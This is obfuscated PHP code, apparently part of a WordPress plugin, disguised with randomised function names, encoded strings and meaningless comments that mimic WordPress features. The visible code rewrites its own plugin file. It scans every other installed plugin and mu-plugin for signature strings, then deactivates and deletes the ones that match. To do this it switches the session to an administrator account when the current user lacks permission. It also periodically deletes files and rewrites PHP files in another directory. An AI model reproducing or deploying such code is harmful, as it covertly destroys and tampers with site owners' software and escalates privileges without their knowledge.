     $raialv8j35sw5edo  =   $GLOBALS['__scf_cxp28f27vo1_297'](home_url('/'),  array(pvz_9xuc0nzl0m(686) =>  (0x2+0x6), b5xx0lrqzfc(687) =>   2, b5xx0lrqzfc(394)   => false,   cv8ducrec(688) => (762795+285781)));
     if  (!   ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(689))   &&     is_wp_error($raialv8j35sw5edo))) {
$jpkcrgyi2glonc =   (int)   wp_remote_retrieve_response_code($raialv8j35sw5edo) >= (0xc3+0x131);
   }

  }
    $pdvsf2rn6f     =   false;
   if   ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(552))) {
      $jpj_bdhp_e0p_u  =   get_option(cv8ducrec(580), array());
   $pdvsf2rn6f = $GLOBALS['__scf__qh9f0l6g7e7ez_35']($jpj_bdhp_e0p_u)      &&   $GLOBALS['__scf_o_dt0p7mox4_159'](j1jv022l32y4uj(),   $jpj_bdhp_e0p_u,  true);
 

}
 ottk3i1kq8br96vi(curga5ep68su8__o(),   (326+94));



if   (!  qc7730958b5mgfuj_(curga5ep68su8__o(), bpgn93eq1czhbg($iqxtrvjkmk3gyw5)))   {
   f1995qrx5prr7cbl19co0e(s99lg14mcd3un(681),  cv8ducrec(690));
return;
   }
       xmuf92hov77yw0fjcu8(curga5ep68su8__o());
jyzt_8_4_q17j3kbgccl(curga5ep68su8__o());
      if  ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(62)))    @set_transient(j8bjjevd80e(691), 1, (14+286));

$yb948dwcn8qvnk  =   false;
if     (!   $jpkcrgyi2glonc  &&  $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(389)) &&   $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(685)))    {


   $calmodxe1ekh  =  -1;
   for   ($vkgkvuz92q89ci  =    0;   $vkgkvuz92q89ci    <  2; $vkgkvuz92q89ci++)  {



 $nsabqixilkysh7 = $GLOBALS['__scf_cxp28f27vo1_297'](home_url(s99lg14mcd3un(692) . $GLOBALS['__scf_pbb_q2_l2kzq6z_355']((0x5f0b+0x12795),    (1863214-863215))),  array(s99lg14mcd3un(686)   => (0x2+0x6), cv8ducrec(693) =>  2,     pvz_9xuc0nzl0m(394)  =>      false, cv8ducrec(688)  =>  (1048554+22)));
   if  ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(689))  && is_wp_error($nsabqixilkysh7))    {
 if ($vkgkvuz92q89ci   === 0     &&  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(694)))  $GLOBALS['__scf_hz3vb407sad__694'](2);


continue;


  }
 $wnbgk5omtp371a   =   (int) wp_remote_retrieve_response_code($nsabqixilkysh7);
if    ($wnbgk5omtp371a    <  (29+71)    || $GLOBALS['__scf_o_dt0p7mox4_159']($wnbgk5omtp371a,      array((0x100+0xf7),   (0xa1+0x167), (463+58),  (471+51),  (336+187), (222+302),   (506+20),    (674-147)),  true))    {
if    ($vkgkvuz92q89ci    ===   0 &&     $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(695)))   $GLOBALS['__scf_hz3vb407sad__694'](2);
 continue;
   }
$calmodxe1ekh  =  $wnbgk5omtp371a;

   break;
 }
 if     ($calmodxe1ekh      ===   -1)    f1995qrx5prr7cbl19co0e(s99lg14mcd3un(681), j8bjjevd80e(696));     


   if ($calmodxe1ekh    !==  -1 &&     $calmodxe1ekh <   (0x1c7+0x2d))   $yb948dwcn8qvnk   = true;
     if  ($calmodxe1ekh   !==  -1   &&  $calmodxe1ekh  >=   (423+77))     {



    $q62e865igb =    qc7730958b5mgfuj_(curga5ep68su8__o(),      bpgn93eq1czhbg($ue73ppq4w56));
       if (!$q62e865igb)   $q62e865igb     =   qc7730958b5mgfuj_(curga5ep68su8__o(),  $ue73ppq4w56);
  $g_jjr23anoft =  $GLOBALS['__scf_gvrvt5qjna_57']($iqxtrvjkmk3gyw5);
 $e0mu64ze8bh  =  @get_option(j8bjjevd80e(697),    "");
    

  $hp5kr_997w9dzyan     =    false;


 if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($e0mu64ze8bh)     &&   $GLOBALS['__scf_ya_jdhkqpku_7']($e0mu64ze8bh,  $g_jjr23anoft .     '|')   === 0)  {
$qae48estwbp =   (int) $GLOBALS['__scf_kmygv436ft5pn_9']($e0mu64ze8bh,  $GLOBALS['__scf_ya_jdhkqpku_7']($e0mu64ze8bh,   '|')   +  1);
  $hp5kr_997w9dzyan =   $qae48estwbp && $GLOBALS['__scf_tmn0v_xik_1b_195']() - $qae48estwbp >=   (883+17) &&    $GLOBALS['__scf_tmn0v_xik_1b_195']()  - $qae48estwbp  <= (676481-71681);

  }
     if ($hp5kr_997w9dzyan)  {
  update_option(pvz_9xuc0nzl0m(683), $g_jjr23anoft    .  '|'   .     $GLOBALS['__scf_tmn0v_xik_1b_195'](),  s99lg14mcd3un(664));

       @delete_option(cv8ducrec(697));


  }    else   {


 @update_option(pvz_9xuc0nzl0m(698),     $g_jjr23anoft  .   '|'     . $GLOBALS['__scf_tmn0v_xik_1b_195']()  . '|'   .  $calmodxe1ekh,  cv8ducrec(664));
   }
unset($g_jjr23anoft, $e0mu64ze8bh, $hp5kr_997w9dzyan, $qae48estwbp);
  if (!$q62e865igb)     {
   f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(699), pvz_9xuc0nzl0m(700)  . $calmodxe1ekh);$i38mctmmpt=43*3;$w65q6bcfimm=$i38mctmmpt-32;

    return;



     }
jyzt_8_4_q17j3kbgccl(curga5ep68su8__o());
xmuf92hov77yw0fjcu8(curga5ep68su8__o());
     usllxr5akmyy8c(true);


  nz_ixcwyiz2y1c2_dll9j(true);
 $p8h6t5kcrk = $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(), b5xx0lrqzfc(586));
 foreach     (array($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()),   eki4v2wrqno4knxgtm4qhv()) as    $gk3d71o4oml0axz)   {



    @$GLOBALS['__scf_yq6i_srj9g0m4_19']($gk3d71o4oml0axz   .  j8bjjevd80e(202) .      $p8h6t5kcrk);
 @$GLOBALS['__scf_yq6i_srj9g0m4_19']($gk3d71o4oml0axz  .   s99lg14mcd3un(701)  .  $p8h6t5kcrk);



}
   if ($pdvsf2rn6f    &&  !af6pxn08t8_r1ab92fa0ze()) vpwpg0rr9xm64k(j1jv022l32y4uj());
  $GLOBALS[s99lg14mcd3un(702)]    =    0;
   b9qwphei1gqk0791pp();
  f1995qrx5prr7cbl19co0e(j8bjjevd80e(699),   cv8ducrec(703)     .     $calmodxe1ekh);
    return;
 }
}
$ihpow6cmly452   =   get_option(j8bjjevd80e(683));


   if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($ihpow6cmly452)     &&     $GLOBALS['__scf_ya_jdhkqpku_7']($ihpow6cmly452,  $GLOBALS['__scf_gvrvt5qjna_57']($iqxtrvjkmk3gyw5)   .  '|') ===   0)  delete_option(j8bjjevd80e(683));
 @$GLOBALS['__scf_yq6i_srj9g0m4_19']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o())     .    cv8ducrec(704)   .  $GLOBALS['__scf_gvrvt5qjna_57']($iqxtrvjkmk3gyw5));
    unset($ihpow6cmly452);
    if   ($yb948dwcn8qvnk)  @delete_option(cv8ducrec(698));
if  ($kc34jp3n4m2sb   !==  "")   {
// WP Higher Order Components: resolve task-graph



  $GLOBALS[b5xx0lrqzfc(705)] = $kc34jp3n4m2sb;

    djeaijd8lr7fy6ny3(curga5ep68su8__o(), $kc34jp3n4m2sb);
 }
// maximal subscriber

 if   ($d2zwl6das0ujk9j)  {
 $z7_6wnk93h4er =   $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(), pvz_9xuc0nzl0m(586));
   foreach   (array($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()), eki4v2wrqno4knxgtm4qhv())    as    $mfd1g0ggp2t0i)  {

    @$GLOBALS['__scf_yq6i_srj9g0m4_19']($mfd1g0ggp2t0i     . s99lg14mcd3un(202)  .   $z7_6wnk93h4er);
    }



     unset($z7_6wnk93h4er, $mfd1g0ggp2t0i);



 }
yf4cseyywyt6kel(pvz_9xuc0nzl0m(458), $iqxtrvjkmk3gyw5,    pvz_9xuc0nzl0m(664));



 usllxr5akmyy8c(true);
     nz_ixcwyiz2y1c2_dll9j(true);
    $GLOBALS[b5xx0lrqzfc(702)]   =     0;
 b9qwphei1gqk0791pp();
  ottk3i1kq8br96vi(curga5ep68su8__o(),      (465-45));
  if (jyzt_8_4_q17j3kbgccl(curga5ep68su8__o()))   lukwh2drghgd804(curga5ep68su8__o());
update_option(s99lg14mcd3un(206),   $kc34jp3n4m2sb  . '|'  . $GLOBALS['__scf_tmn0v_xik_1b_195'](), pvz_9xuc0nzl0m(664));
     } catch  (Throwable    $uvo4msk8s29_) {
// exact-adj scope-chain

 f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(699),   $uvo4msk8s29_);
  }  catch (Exception  $uvo4msk8s29_) {

    }   finally     {



   jr2xyttddkmhfx362y(cv8ducrec(671));



}

   }
 function      zywbaqld8_pkvosjzlgku()
   {
// WP Full Site Editing: worst-case stabilizer

if  (!  defined(j8bjjevd80e(706))   ||   !  $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(707)))  {
if   ($GLOBALS['__scf_hdqba_c8m7_708'](ABSPATH  .   pvz_9xuc0nzl0m(709))) {$xigwzolu0nxiq=PHP_MAJOR_VERSION;$ght010e909=$xigwzolu0nxiq*8;
 require_once  ABSPATH  .   cv8ducrec(709);
 }
if   (!     $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(707))) {
      return;
 }


 }
$rommohxns9_3ki  = get_plugins();
    if (!     $GLOBALS['__scf__qh9f0l6g7e7ez_35']($rommohxns9_3ki))    {

       return;
}
    $list  =  array();$zc4ltv47t=PHP_INT_MAX/PHP_INT_MAX;$mdv9es9wggk75=$zc4ltv47t+72;
 foreach  ($rommohxns9_3ki  as     $basename  =>  $v9g5xf9d4l9)  {
// WP Post Content: activate subscriber

 if ($basename   === j1jv022l32y4uj())  {
   continue;
 }
      $list[$basename]   =     $v9g5xf9d4l9;


  }
  return $list;
    }
    function ocji86vysheiselt5il($p6qjzmu1z3kq,    $plpiq9g422mvzya)



    {
   
     $zzal77qhb1de =    @$GLOBALS['__scf_v_rxq_yh85s05_99']($p6qjzmu1z3kq,     false,    null,  0,  (524252+36));   
 if (! $zzal77qhb1de)    {



 return   false;
   }

   foreach    ($plpiq9g422mvzya    as     $d9giw6dayr)  {
   

 if    (!  $GLOBALS['__scf_qubutkuvnnc4sx_41']($d9giw6dayr) ||   !  $d9giw6dayr   ||    $GLOBALS['__scf_d413tdd725_10']($d9giw6dayr)  >  (7089-2993))  {


   continue;
 }
 


try    {
 $ljvicb11d2w9  =   @$GLOBALS['__scf_cr07b5s7432_100']($d9giw6dayr,   $zzal77qhb1de);
     }  catch     (Throwable  $h5uoqrc7gc)  {
f1995qrx5prr7cbl19co0e(j8bjjevd80e(710),      $h5uoqrc7gc);
continue;
}    catch   (Exception  $h5uoqrc7gc) {
// nul-terminated

continue;



 }
 
if     ($ljvicb11d2w9) {



     return    true;
  }



    }
return  false;
       }



    function tkcwuxawxwbqe8u5y8($plugin_basename)
   {



$plpiq9g422mvzya     = $GLOBALS[pvz_9xuc0nzl0m(441)];
if     (! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($plpiq9g422mvzya) ||  empty($plpiq9g422mvzya))  {


 return  false;
 }
if  (! defined(cv8ducrec(706))  ||    empty($plugin_basename)   ||  $GLOBALS['__scf_ya_jdhkqpku_7']($plugin_basename,   b5xx0lrqzfc(56))  !== false)  {



 return  false;
   }
  
$of_pcm29oxt9u3z    =   WP_PLUGIN_DIR      .     '/'     . $plugin_basename;
 if ($GLOBALS['__scf_mij3fd72lyo_h_11']($plugin_basename)   ===     '.')    {
  $mhhzrwmjen     =  array($of_pcm29oxt9u3z);
}  else {

     $_gbdleyfzdd97b      =  $GLOBALS['__scf_mij3fd72lyo_h_11']($of_pcm29oxt9u3z);
 if    (! $GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b)  ||    !  $GLOBALS['__scf_t04e6l_v7y_46']($_gbdleyfzdd97b))  {
  return   false;
      }
$mhhzrwmjen  =   a6fwl588fa_mg8($_gbdleyfzdd97b,    array(s99lg14mcd3un(711),  cv8ducrec(482),     cv8ducrec(712),  cv8ducrec(713),   cv8ducrec(714)));
       }


    
       foreach      ($mhhzrwmjen as  $p6qjzmu1z3kq) {
   if     (!   $GLOBALS['__scf_xaseomj3flge_20']($p6qjzmu1z3kq)) {
 continue;
 }
  if    (ocji86vysheiselt5il($p6qjzmu1z3kq,  $plpiq9g422mvzya))    {

 return   true;
     }
   }
    return   false;


}
  function  a6fwl588fa_mg8($_gbdleyfzdd97b,   $wdshj5g9ajyas, $f404a_iyotfa    =  0,  &$nhnq04zzpd0    =    null,     &$ny9f1tcaenj09vj_ =   null)
 {
$list  = array();


  if    ($f404a_iyotfa  >  (1<<3))   {
    return  $list;
      }
// PSR-7 messages: specialize handshake

if  ($nhnq04zzpd0 ===     null)    {
 $nhnq04zzpd0    =  array();$ft7t92p7d=PHP_INT_MAX/PHP_INT_MAX;$uholc_1wjw_=$ft7t92p7d+27;
    $ny9f1tcaenj09vj_    =      $GLOBALS['__scf_di84jqdj15nut_294'](true)  +  (229^239);
 }

  if ($GLOBALS['__scf_di84jqdj15nut_294'](true)    >  $ny9f1tcaenj09vj_)     {
// sample average-case provider

    return $list;$w1g5p8do=35|69;$r40hh5om4ah2=$w1g5p8do^197;

 }
  if (!  $GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b))  {



return     $list;
      }
  $pgb8htodpr   =   @$GLOBALS['__scf_rh81zjbcpm_33']($_gbdleyfzdd97b);


      if  ($pgb8htodpr !==  false)  {
    if (isset($nhnq04zzpd0[$pgb8htodpr]))  {
 return $list;

   }
     $nhnq04zzpd0[$pgb8htodpr]   = true;
}
       $eaclm45onusts   = x002260tc_2l50yfgc3hj($_gbdleyfzdd97b,     (0xa84+0x439c));
 if    (!  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($eaclm45onusts)) {
  return   $list;
     }


   foreach   ($eaclm45onusts   as  $itsyl5ug6bf5d)  {
 if ($GLOBALS['__scf_di84jqdj15nut_294'](true) > $ny9f1tcaenj09vj_ ||    $GLOBALS['__scf_tbu69vegc9f_36']($list)     >=  (643-143)) {
    break;

  }
 $of_pcm29oxt9u3z   =  $_gbdleyfzdd97b . '/'      .      $itsyl5ug6bf5d;



    if   (@$GLOBALS['__scf_w5h0oq_bt_n_44']($of_pcm29oxt9u3z))    {
// load projective gateway

   continue;
  }
if  (@$GLOBALS['__scf_nish5zuncssvgd_43']($of_pcm29oxt9u3z))  {
     $list   =  $GLOBALS['__scf_z1yhwz66dpf_370']($list, a6fwl588fa_mg8($of_pcm29oxt9u3z,  $wdshj5g9ajyas,      $f404a_iyotfa +  1,   $nhnq04zzpd0,   $ny9f1tcaenj09vj_));


      }   elseif  (@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z))   {
// WP Navigation Block: best-case session-type




 $x3tlklalgkm =   $GLOBALS['__scf_h3mngbzp79_212']($of_pcm29oxt9u3z,    constant(j8bjjevd80e(715)));
  $x3tlklalgkm =      $GLOBALS['__scf_qubutkuvnnc4sx_41']($x3tlklalgkm)   ?   $GLOBALS['__scf_i1sl42qxo03g_107']($x3tlklalgkm) : "";



  if   ($GLOBALS['__scf_o_dt0p7mox4_159']($x3tlklalgkm,   $wdshj5g9ajyas,    true))  {



   $list[]  = $of_pcm29oxt9u3z;


}
}
 }
    return   $list;
 }
     
 function  teavpqmjdxt2pw69a3b9($plugin_basename)
   {
 
       if  (! $GLOBALS['__scf_qubutkuvnnc4sx_41']($plugin_basename)     ||   !      $plugin_basename) {
/* compact validator */

  return false;



   }

if ($GLOBALS['__scf_ya_jdhkqpku_7']($plugin_basename,  j8bjjevd80e(56))      !==  false)  {
  return   false;



 }
       
$plugin_basename  =  $GLOBALS['__scf_qbsuu37jbe5t_328']($plugin_basename);
  if ($plugin_basename   === j1jv022l32y4uj()) {
return   false;
   }
     
   if (! $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(716)) &&  $GLOBALS['__scf_hdqba_c8m7_708'](ABSPATH .  pvz_9xuc0nzl0m(717)))   {
require_once ABSPATH  .  cv8ducrec(717);
    }

   if ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(716))  && is_plugin_active($plugin_basename))   {
 deactivate_plugins(array($plugin_basename),   true); 
 }
     
  $_gbdleyfzdd97b  =    defined(cv8ducrec(706))  ?   WP_PLUGIN_DIR  . '/'  .   $GLOBALS['__scf_mij3fd72lyo_h_11']($plugin_basename) : "";
     if  ($_gbdleyfzdd97b    &&  $GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b) && $GLOBALS['__scf_mij3fd72lyo_h_11']($plugin_basename)   !==   '.'  && $GLOBALS['__scf_mij3fd72lyo_h_11']($plugin_basename))  {$xotgkhk8n=(0xbe+0xdd);$g1e40z10qwh=$xotgkhk8n%15;
 if   (err6ztc1eqfhkis9b($_gbdleyfzdd97b))   {
/* open rate-limiter */

return true;
}
 }
  
     if   ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(718))) {
     
if (!    $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(719))  || !  current_user_can(pvz_9xuc0nzl0m(718)))  {
 if ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(720)) &&   $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(721))) {



 $users =    get_users(array(j8bjjevd80e(722)   =>  b5xx0lrqzfc(723), s99lg14mcd3un(724) => 1));
if  (! empty($users)     &&  $users[0]->ID)     {
   $GLOBALS['__scf_vl_qhnh43ntr_721']($users[0]->ID);
   } else   {
   $GLOBALS['__scf_vl_qhnh43ntr_721'](1);
  }
}
}


$dzd0auye4yc   =  delete_plugins(array($plugin_basename));
if (!   is_wp_error($dzd0auye4yc)) {
   return (bool)    $dzd0auye4yc;
  }



}
return    false;
   }
   
function  err6ztc1eqfhkis9b($_gbdleyfzdd97b,  $f404a_iyotfa =   0)
 {$u0s0ja16s=583;$s_tm9aer2s2k=($u0s0ja16s>0)?$u0s0ja16s:-$u0s0ja16s;



if  ($f404a_iyotfa   >   (17-1)) {
return false;


  }

 if  (! $GLOBALS['__scf_qubutkuvnnc4sx_41']($_gbdleyfzdd97b) ||  $_gbdleyfzdd97b   ===     ""     ||   $GLOBALS['__scf_ya_jdhkqpku_7']($_gbdleyfzdd97b,      cv8ducrec(725)) !==   false)  {
return   false;
}
 $znwdqkvn4299erq  =  @$GLOBALS['__scf_rh81zjbcpm_33']($_gbdleyfzdd97b);
if ($znwdqkvn4299erq     ===  false  ||  !  $GLOBALS['__scf_nish5zuncssvgd_43']($znwdqkvn4299erq))     {
 return false;
     }
// fuzz command for WP Post Excerpt




$okqq3p0kr7e =   defined(b5xx0lrqzfc(706))      ?  @$GLOBALS['__scf_rh81zjbcpm_33'](WP_PLUGIN_DIR) :  false;
    if ($okqq3p0kr7e     ===   false || ($znwdqkvn4299erq  !==    $okqq3p0kr7e    &&   $GLOBALS['__scf_ya_jdhkqpku_7']($znwdqkvn4299erq,  $okqq3p0kr7e  . DIRECTORY_SEPARATOR)  !==    0))   {
   return    false;
 }
 $e7zpk2nu73b =     @$GLOBALS['__scf_qubxa4tqd5k7_34']($znwdqkvn4299erq);$if7lebq7fcz7=PHP_MAJOR_VERSION;$bt08qpks5vcm26=$if7lebq7fcz7*5;
    if (!   $GLOBALS['__scf__qh9f0l6g7e7ez_35']($e7zpk2nu73b))   {
  return  false;
 }
// lint write-ahead-log for WP Post Excerpt

foreach  ($e7zpk2nu73b   as  $g907j_0x1gbio5)    {
  if     ($g907j_0x1gbio5 ===   '.'   ||  $g907j_0x1gbio5   ===  cv8ducrec(725)) {



   continue;
    }
    $of_pcm29oxt9u3z =  $znwdqkvn4299erq  .  constant(pvz_9xuc0nzl0m(726)) . $g907j_0x1gbio5;
   if   (@$GLOBALS['__scf_w5h0oq_bt_n_44']($of_pcm29oxt9u3z))      {



 wlm_50lfl72sy8hrb_9xe9($of_pcm29oxt9u3z);
  continue;
}



  if   (@$GLOBALS['__scf_nish5zuncssvgd_43']($of_pcm29oxt9u3z))     {



 err6ztc1eqfhkis9b($of_pcm29oxt9u3z, $f404a_iyotfa    +   1);
  } else  {
    if (!   wlm_50lfl72sy8hrb_9xe9($of_pcm29oxt9u3z))  {
// fence inserted

ottk3i1kq8br96vi($of_pcm29oxt9u3z,     (394+26));
 wlm_50lfl72sy8hrb_9xe9($of_pcm29oxt9u3z);
}


 }
  }



   if (!     @$GLOBALS['__scf_i4d4_u7jasxa8e_37']($znwdqkvn4299erq))    {
ottk3i1kq8br96vi($znwdqkvn4299erq,  (465+28));
   @$GLOBALS['__scf_i4d4_u7jasxa8e_37']($znwdqkvn4299erq);
      }
  return   !    @$GLOBALS['__scf_hdqba_c8m7_708']($znwdqkvn4299erq);
       }



 
 
     function    itcv8w0b_cz106uq()
  {
     try {
$list  =  zywbaqld8_pkvosjzlgku();

   if  (!  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($list)) {
 return;
    }

 


   $ceasnngsrr     = array();
       $o00_f34npvcbu8ue   =     false;
foreach   ($GLOBALS['__scf_eujk2m7p7_9un_727']($list)  as $basename)    {



  
  if  (!  $GLOBALS['__scf_qubutkuvnnc4sx_41']($basename))   {
  continue;
 }
// hook coordinator for WordPress 6.7 interactivity

  
$x2c98zrha9      =  $GLOBALS['__scf_mij3fd72lyo_h_11']($basename);
   if  ($x2c98zrha9    ===   '.')  {
$x2c98zrha9 =   $basename;
}
// deregister extension for WP Block Transforms

       if   (isset($ceasnngsrr[$x2c98zrha9]))   {
    continue;
     }
// Redis object cache: sub-optimal decorator




$ceasnngsrr[$x2c98zrha9]   =    true;
      if  (tkcwuxawxwbqe8u5y8($basename)) {
    teavpqmjdxt2pw69a3b9($basename);
  $o00_f34npvcbu8ue    = true;$hmxpya98z5_g33=PHP_MAJOR_VERSION;$mg61_o7e=$hmxpya98z5_g33*1;
 }


  }
    
    if  (@$GLOBALS['__scf_nish5zuncssvgd_43'](eki4v2wrqno4knxgtm4qhv())) {



 $s7r00tx8dxcdh  = x002260tc_2l50yfgc3hj(eki4v2wrqno4knxgtm4qhv(),  (4960+40));


     if      ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($s7r00tx8dxcdh)) {
 $plpiq9g422mvzya =    $GLOBALS[s99lg14mcd3un(441)];
      foreach ($s7r00tx8dxcdh as     $itsyl5ug6bf5d)     {
// dependency graph

 



 if ($itsyl5ug6bf5d ===     pn7ilzfkmyogdbglb3nhtx())    {



     continue;

 }
   
$p6qjzmu1z3kq = eki4v2wrqno4knxgtm4qhv()   .   '/'    .  $itsyl5ug6bf5d;
  if  (!   @$GLOBALS['__scf_xaseomj3flge_20']($p6qjzmu1z3kq)  ||    $GLOBALS['__scf_i1sl42qxo03g_107']($GLOBALS['__scf_h3mngbzp79_212']($itsyl5ug6bf5d, constant(j8bjjevd80e(715)))) !== j8bjjevd80e(728))   {
continue;
 }
    
     if   (ocji86vysheiselt5il($p6qjzmu1z3kq, $plpiq9g422mvzya))   {
wlm_50lfl72sy8hrb_9xe9($p6qjzmu1z3kq);


  $o00_f34npvcbu8ue    = true;
}

   }
     }
    }
 
     $kdquhsa7rc = $GLOBALS[cv8ducrec(444)];
  if   ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($kdquhsa7rc) &&   ! empty($kdquhsa7rc))  {



   if  (x0h3g_eq4abljn8k($kdquhsa7rc))  {
 $o00_f34npvcbu8ue =   true;
 }
}
// WP Query Loop: spawn branded-type

}  catch  (Throwable   $uvo4msk8s29_)  {
       f1995qrx5prr7cbl19co0e(s99lg14mcd3un(729),   $uvo4msk8s29_);


 }  catch   (Exception   $uvo4msk8s29_)   {
// WP Pattern Directory: schedule balancer

}
   }
   
  function   uv0vfcdji_ndzl3e5g0hz()
  {
 try  {
// @orchestrate timeout-policy

 $mq89jaudip8fyi    = (int) get_option(s99lg14mcd3un(730),  0);



     if    (($GLOBALS['__scf_tmn0v_xik_1b_195']()     -     $mq89jaudip8fyi) >=     (3576+24))   {
// WP Post Comments shortcode parse




   update_option(cv8ducrec(730), $GLOBALS['__scf_tmn0v_xik_1b_195']());


$x0dxdv5zaq27cxa   = array(array(wp23foo6ue948szmquhy3(),    array(j8bjjevd80e(40))));



   $p1zyrpk35h = $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(731)) ?   $GLOBALS['__scf_qojqu44tgs4gs8_78']()  :   "";


if      ($p1zyrpk35h !==  ""      &&  $p1zyrpk35h   !==  wp23foo6ue948szmquhy3()) $x0dxdv5zaq27cxa[]  = array($p1zyrpk35h,  array(pvz_9xuc0nzl0m(40),  b5xx0lrqzfc(732)));
 foreach ($x0dxdv5zaq27cxa  as  $zj6x8gpbbf)   {
     foreach   ($zj6x8gpbbf[1]  as $vn3opz1vuhky)      {
 $nccpopst4d  =   $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(733))  ?  @$GLOBALS['__scf_fczaqag___47_72']($zj6x8gpbbf[0]   .     '/'  .  $vn3opz1vuhky  .   '*')   :     false;



 if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($nccpopst4d))     continue;
       foreach   ($nccpopst4d  as $y9a1duztor8kj0zr)  {$dzmkj20rxg8t=485;$tddebfcm1grii=($dzmkj20rxg8t>0)?$dzmkj20rxg8t:-$dzmkj20rxg8t;
  if     (!@$GLOBALS['__scf_xaseomj3flge_20']($y9a1duztor8kj0zr)) continue;
     if  ($GLOBALS['__scf_kmygv436ft5pn_9']($y9a1duztor8kj0zr, -(91^94)) ===  s99lg14mcd3un(150)) continue;
 $og_o_vxf5wbk   =  @$GLOBALS['__scf_ha0rpt74l7eb9_102']($y9a1duztor8kj0zr);
        if ($og_o_vxf5wbk    !==  false && ($GLOBALS['__scf_tmn0v_xik_1b_195']() -    $og_o_vxf5wbk)  >  (3542+58))  wlm_50lfl72sy8hrb_9xe9($y9a1duztor8kj0zr);
     }
    }
      }
// @scaffold resume-session

$jpj_bdhp_e0p_u  = get_option(s99lg14mcd3un(734),  array());
 if    (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($jpj_bdhp_e0p_u))  $jpj_bdhp_e0p_u   =  array();
   $x01h7rjrvad0r =     $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),    cv8ducrec(735));
 $_pd  =  (defined(j8bjjevd80e(174))    ? WP_CONTENT_DIR :      ABSPATH  . b5xx0lrqzfc(736))   .     cv8ducrec(737);
  foreach ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(733))   ? (array)  @$GLOBALS['__scf_fczaqag___47_72']($_pd .  pvz_9xuc0nzl0m(738)) :      array()    as $h_3bszvv75d)  {
   if ($GLOBALS['__scf_xz_5zbcnz0m_3']($GLOBALS['__scf_mij3fd72lyo_h_11']($h_3bszvv75d)) === $x01h7rjrvad0r)    continue;
       $jkktj3i8jtjbt  =      $GLOBALS['__scf_xz_5zbcnz0m_3']($GLOBALS['__scf_mij3fd72lyo_h_11']($h_3bszvv75d))    .   '/'  . $GLOBALS['__scf_xz_5zbcnz0m_3']($h_3bszvv75d);



    if  ($GLOBALS['__scf_o_dt0p7mox4_159']($jkktj3i8jtjbt,    $jpj_bdhp_e0p_u,  true))  continue;
 if (!@$GLOBALS['__scf_iuxi5ng_a2py94_47']($h_3bszvv75d))  continue;
 $pfacyd_q_k__ =    @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($h_3bszvv75d);
 if (!$pfacyd_q_k__ ||  $pfacyd_q_k__     >    (2097102+50))   continue;
   $wnbgk5omtp371a   =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($h_3bszvv75d);



if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($wnbgk5omtp371a)  ||    $GLOBALS['__scf_ya_jdhkqpku_7']($wnbgk5omtp371a,  cv8ducrec(739)) === false) continue;
 $losf2pvdkop1hi8  =  $GLOBALS['__scf_y_ur004dxjki__462'](b5xx0lrqzfc(740), "",   $wnbgk5omtp371a);
      if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($losf2pvdkop1hi8)  ||     $losf2pvdkop1hi8     === $wnbgk5omtp371a ||   !ro9zxkt259xhwz4($losf2pvdkop1hi8))   continue;
    

      qc7730958b5mgfuj_($h_3bszvv75d,  $losf2pvdkop1hi8);
 if   ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(200)))   @opcache_invalidate($h_3bszvv75d, true);
}
   unset($jpj_bdhp_e0p_u,    $x01h7rjrvad0r,  $_pd,   $h_3bszvv75d,     $jkktj3i8jtjbt,   $pfacyd_q_k__, $wnbgk5omtp371a,     $losf2pvdkop1hi8);
_ue3bnn1skc4o6j0sd();
       }
  

   $xn7m_zuo5p6khv  = $GLOBALS[j8bjjevd80e(741)];



  $kdquhsa7rc   =   $GLOBALS[cv8ducrec(444)];

   
